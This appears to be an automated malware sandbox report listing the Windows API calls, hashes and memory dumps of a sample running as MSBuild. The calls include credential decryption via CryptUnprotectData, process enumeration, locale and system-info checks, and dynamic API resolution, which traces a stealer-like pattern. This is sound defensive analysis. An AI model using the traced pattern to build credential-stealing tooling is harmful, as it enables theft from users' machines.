GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
LocalFree.KERNEL32(00000000), ref: 00417D22

Strings

/ , xrefs: 00417C7F

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction ID: 4337a3d4516c1007e731de4e6e4702528bfdb1ea37c67bd3aa396c5a1b158d15
Opcode Fuzzy Hash: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction Fuzzy Hash: 6B415E71941118ABDB24DB94DC99FEEB378FF44714F20419AE10962281DB382FC6CFA5

Function 00419600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041961E
Process32First.KERNEL32(00420ACA,00000128), ref: 00419632
Process32Next.KERNEL32(00420ACA,00000128), ref: 00419647
StrCmpCA.SHLWAPI(?,00000000), ref: 0041965C
CloseHandle.KERNEL32(00420ACA), ref: 0041967A

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: 11d567adce4b572477f284a2ec541547db87c4b6fd8ba8cb36d7f0fd64301d48
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: F201E9B9A40208ABCB24DFA5C958BEEB7F9EB49700F104189E90996250D7389F81CF61

Function 00409B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
memcpy.MSVCRT(?,?,?), ref: 00409BC6
LocalFree.KERNEL32(?), ref: 00409BD3

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction ID: 8471c3d920f6d21a6ca128c50317bdd839bed9d1cf50ed0ddd6ab59e3c77a746
Opcode Fuzzy Hash: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction Fuzzy Hash: 46110CB8A00209EFDB04DF94D985AAE77B6FF89300F104569F915A7390D774AE10CF61

Function 00417A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01267078,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,01267078,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01267078,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D
wsprintfA.USER32 ref: 00417AB7

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: 8af700d3b0e32b47e9d6ddd9198ddf9a5cfc8e3ba9127fd648bfb7377b14e362
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: 461152B1A45228EFEB108B54DC45F9AB7B8FB05711F10439AE516932C0D7785A40CF55

Function 00417850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,0125F0B0), ref: 00419C2D
GetProcAddress.KERNEL32(77190000,0125F010), ref: 00419C45
GetProcAddress.KERNEL32(77190000,0125AF40), ref: 00419C5E
GetProcAddress.KERNEL32(77190000,0125ADF0), ref: 00419C76
GetProcAddress.KERNEL32(77190000,0125ADA8), ref: 00419C8E
GetProcAddress.KERNEL32(77190000,0125ADC0), ref: 00419CA7
GetProcAddress.KERNEL32(77190000,0125EB68), ref: 00419CBF
GetProcAddress.KERNEL32(77190000,0125AD18), ref: 00419CD7
GetProcAddress.KERNEL32(77190000,0125AE68), ref: 00419CF0
GetProcAddress.KERNEL32(77190000,0125AD30), ref: 00419D08
GetProcAddress.KERNEL32(77190000,0125AE80), ref: 00419D20
GetProcAddress.KERNEL32(77190000,0125F030), ref: 00419D39
GetProcAddress.KERNEL32(77190000,0125F390), ref: 00419D51
GetProcAddress.KERNEL32(77190000,0125F1F0), ref: 00419D69
GetProcAddress.KERNEL32(77190000,0125F3B0), ref: 00419D82
GetProcAddress.KERNEL32(77190000,0125AE98), ref: 00419D9A
GetProcAddress.KERNEL32(77190000,0125AEB0), ref: 00419DB2
GetProcAddress.KERNEL32(77190000,0125EAC8), ref: 00419DCB
GetProcAddress.KERNEL32(77190000,0125F290), ref: 00419DE3
GetProcAddress.KERNEL32(77190000,0125AF28), ref: 00419DFB
GetProcAddress.KERNEL32(77190000,0125AF58), ref: 00419E14
GetProcAddress.KERNEL32(77190000,0125AF88), ref: 00419E2C
GetProcAddress.KERNEL32(77190000,0125B078), ref: 00419E44
GetProcAddress.KERNEL32(77190000,0125F050), ref: 00419E5D
GetProcAddress.KERNEL32(77190000,0125B000), ref: 00419E75
GetProcAddress.KERNEL32(77190000,0125B060), ref: 00419E8D
GetProcAddress.KERNEL32(77190000,0125B090), ref: 00419EA6
GetProcAddress.KERNEL32(77190000,0125AFD0), ref: 00419EBE
GetProcAddress.KERNEL32(77190000,0125AFE8), ref: 00419ED6
GetProcAddress.KERNEL32(77190000,0125B018), ref: 00419EEF
GetProcAddress.KERNEL32(77190000,0125B030), ref: 00419F07
GetProcAddress.KERNEL32(77190000,0125B048), ref: 00419F1F
GetProcAddress.KERNEL32(77190000,01266408), ref: 00419F38
GetProcAddress.KERNEL32(77190000,012597C0), ref: 00419F50
GetProcAddress.KERNEL32(77190000,01266420), ref: 00419F68
GetProcAddress.KERNEL32(77190000,01266168), ref: 00419F81
GetProcAddress.KERNEL32(77190000,0125F330), ref: 00419F99
GetProcAddress.KERNEL32(77190000,01266390), ref: 00419FB1
GetProcAddress.KERNEL32(77190000,0125F170), ref: 00419FCA
GetProcAddress.KERNEL32(77190000,01266240), ref: 00419FE2
GetProcAddress.KERNEL32(77190000,012663A8), ref: 00419FFA
GetProcAddress.KERNEL32(77190000,0125F350), ref: 0041A013
GetProcAddress.KERNEL32(77190000,0125EFF0), ref: 0041A02B
LoadLibraryA.KERNEL32(012663D8,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A03D
LoadLibraryA.KERNEL32(01266288,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A04E
LoadLibraryA.KERNEL32(01266438,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A060
LoadLibraryA.KERNEL32(01266450,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A072
LoadLibraryA.KERNEL32(01266180,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A083
LoadLibraryA.KERNEL32(012661E0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A095
LoadLibraryA.KERNEL32(01266348,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0A7
LoadLibraryA.KERNEL32(01266198,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0B8
GetProcAddress.KERNEL32(77040000,0125F250), ref: 0041A0DA
GetProcAddress.KERNEL32(77040000,01266228), ref: 0041A0F2
GetProcAddress.KERNEL32(77040000,01265EF0), ref: 0041A10A
GetProcAddress.KERNEL32(77040000,012662A0), ref: 0041A123
GetProcAddress.KERNEL32(77040000,0125F130), ref: 0041A13B
GetProcAddress.KERNEL32(705A0000,0125ECD0), ref: 0041A160
GetProcAddress.KERNEL32(705A0000,0125F210), ref: 0041A179
GetProcAddress.KERNEL32(705A0000,0125ED48), ref: 0041A191
GetProcAddress.KERNEL32(705A0000,012661B0), ref: 0041A1A9
GetProcAddress.KERNEL32(705A0000,012663C0), ref: 0041A1C2
GetProcAddress.KERNEL32(705A0000,0125F0D0), ref: 0041A1DA
GetProcAddress.KERNEL32(705A0000,0125F0F0), ref: 0041A1F2
GetProcAddress.KERNEL32(705A0000,012663F0), ref: 0041A20B
GetProcAddress.KERNEL32(768D0000,0125F110), ref: 0041A22C
GetProcAddress.KERNEL32(768D0000,0125F2F0), ref: 0041A244
GetProcAddress.KERNEL32(768D0000,01266360), ref: 0041A25D
GetProcAddress.KERNEL32(768D0000,01266258), ref: 0041A275
GetProcAddress.KERNEL32(768D0000,0125F230), ref: 0041A28D
GetProcAddress.KERNEL32(75790000,0125EAF0), ref: 0041A2B3
GetProcAddress.KERNEL32(75790000,0125EC08), ref: 0041A2CB
GetProcAddress.KERNEL32(75790000,012662E8), ref: 0041A2E3
GetProcAddress.KERNEL32(75790000,0125F370), ref: 0041A2FC
GetProcAddress.KERNEL32(75790000,0125F270), ref: 0041A314
GetProcAddress.KERNEL32(75790000,0125ED20), ref: 0041A32C
GetProcAddress.KERNEL32(75A10000,012661C8), ref: 0041A352
GetProcAddress.KERNEL32(75A10000,01266B50), ref: 0041A36A
GetProcAddress.KERNEL32(75A10000,01265F30), ref: 0041A382
GetProcAddress.KERNEL32(75A10000,012661F8), ref: 0041A39B
GetProcAddress.KERNEL32(75A10000,01266378), ref: 0041A3B3
GetProcAddress.KERNEL32(75A10000,01266CF0), ref: 0041A3CB
GetProcAddress.KERNEL32(75A10000,01266D10), ref: 0041A3E4
GetProcAddress.KERNEL32(75A10000,01266210), ref: 0041A3FC
GetProcAddress.KERNEL32(75A10000,01266270), ref: 0041A414
GetProcAddress.KERNEL32(76850000,01266B10), ref: 0041A436
GetProcAddress.KERNEL32(76850000,012662B8), ref: 0041A44E
GetProcAddress.KERNEL32(76850000,012662D0), ref: 0041A466
GetProcAddress.KERNEL32(76850000,01266300), ref: 0041A47F
GetProcAddress.KERNEL32(76850000,01266318), ref: 0041A497
GetProcAddress.KERNEL32(75690000,01266CB0), ref: 0041A4B8
GetProcAddress.KERNEL32(75690000,01266B30), ref: 0041A4D1
GetProcAddress.KERNEL32(769C0000,01266970), ref: 0041A4F2
GetProcAddress.KERNEL32(769C0000,01266330), ref: 0041A50A
GetProcAddress.KERNEL32(6F8C0000,01266BD0), ref: 0041A530
GetProcAddress.KERNEL32(6F8C0000,01266990), ref: 0041A548
GetProcAddress.KERNEL32(6F8C0000,01266B70), ref: 0041A560
GetProcAddress.KERNEL32(6F8C0000,01266510), ref: 0041A579
GetProcAddress.KERNEL32(6F8C0000,012669B0), ref: 0041A591
GetProcAddress.KERNEL32(6F8C0000,01266C30), ref: 0041A5A9
GetProcAddress.KERNEL32(6F8C0000,01266A30), ref: 0041A5C2
GetProcAddress.KERNEL32(6F8C0000,01266A70), ref: 0041A5DA
GetProcAddress.KERNEL32(6F8C0000,InternetSetOptionA), ref: 0041A5F1
GetProcAddress.KERNEL32(6F8C0000,HttpQueryInfoA), ref: 0041A607
GetProcAddress.KERNEL32(75D90000,01266480), ref: 0041A629
GetProcAddress.KERNEL32(75D90000,01265EE0), ref: 0041A641
GetProcAddress.KERNEL32(75D90000,01266498), ref: 0041A659
GetProcAddress.KERNEL32(75D90000,01266528), ref: 0041A672
GetProcAddress.KERNEL32(76470000,01266CD0), ref: 0041A693
GetProcAddress.KERNEL32(70200000,01266468), ref: 0041A6B4
GetProcAddress.KERNEL32(70200000,01266A10), ref: 0041A6CD
GetProcAddress.KERNEL32(70200000,012664B0), ref: 0041A6E5
GetProcAddress.KERNEL32(70200000,012664C8), ref: 0041A6FD

Strings

InternetSetOptionA, xrefs: 0041A5E5
HttpQueryInfoA, xrefs: 0041A5FC

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00407710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,004161C4,?), ref: 00407724
RtlAllocateHeap.NTDLL(00000000,?,004161C4,?), ref: 0040772B
lstrcatA.KERNEL32(?,01261AA8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8), ref: 004078DB
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004078EF
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407903
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407917
lstrcatA.KERNEL32(?,012673D8,?,004161C4,?), ref: 0040792B
lstrcatA.KERNEL32(?,012672D0,?,004161C4,?), ref: 0040793F
lstrcatA.KERNEL32(?,01267348,?,004161C4,?), ref: 00407952
lstrcatA.KERNEL32(?,012673C0,?,004161C4,?), ref: 00407966
lstrcatA.KERNEL32(?,01267558,?,004161C4,?), ref: 0040797A
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 0040798E
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079A2
